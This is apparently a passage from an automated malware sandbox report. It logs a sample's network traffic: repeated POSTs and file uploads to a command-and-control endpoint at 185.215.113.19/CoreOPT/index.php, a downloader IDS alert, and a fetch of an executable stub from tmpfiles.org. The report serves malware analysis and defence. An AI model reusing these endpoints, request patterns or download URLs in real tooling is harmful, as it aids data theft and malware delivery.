Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTEzODE=Host: 185.215.113.19Content-Length: 91533Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 152Cache-Control: no-cacheData Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 38 36 34 37 42 35 30 44 37 39 41 46 38 34 37 35 38 42 46 32 45 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 35 35 43 33 45 46 30 45 33 34 33 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 46 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2A8647B50D79AF84758BF2EB81278509C05BEA3669A52777FA613555C3EF0E3432A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0F
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /CoreOPT/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----ODU0NDI=Host: 185.215.113.19Content-Length: 85594Cache-Control: no-cache

Source: Joe Sandbox View	IP Address: 104.21.21.16 104.21.21.16
Source: Joe Sandbox View	IP Address: 20.189.173.20 20.189.173.20
Source: Joe Sandbox View	IP Address: 185.215.113.19 185.215.113.19
Source: Joe Sandbox View	IP Address: 185.215.113.19 185.215.113.19

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: SIBTEL-ASRU SIBTEL-ASRU

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.9:49815 -> 104.21.21.16:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Code function: 10_2_0040F6B0 recv,recv,recv,recv,

10_2_0040F6B0

Source: global traffic

HTTP traffic detected: GET /dl/14438655/stub4141_2024-10-16_10-48.exe HTTP/1.1Host: tmpfiles.org

Source: unknown

HTTP traffic detected: POST /Telemetry.Request HTTP/1.1Connection: Keep-AliveUser-Agent: MSDWMSA_DeviceTicket_Error: 0x80004004Content-Length: 4688Host: umwatson.events.data.microsoft.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:40 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 257 <html><head><title>404 Not Found</title><style type="text/css" id="operaUserStyle"></style></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 16 Oct 2024 17:22:41 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveData Raw: 32 35 37 0d 0a 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 69 64 3d 22 6f 70 65 72 61 55 73 65 72 53 74 79 6c 65 22 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0a 0a 0a 0a 0a 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 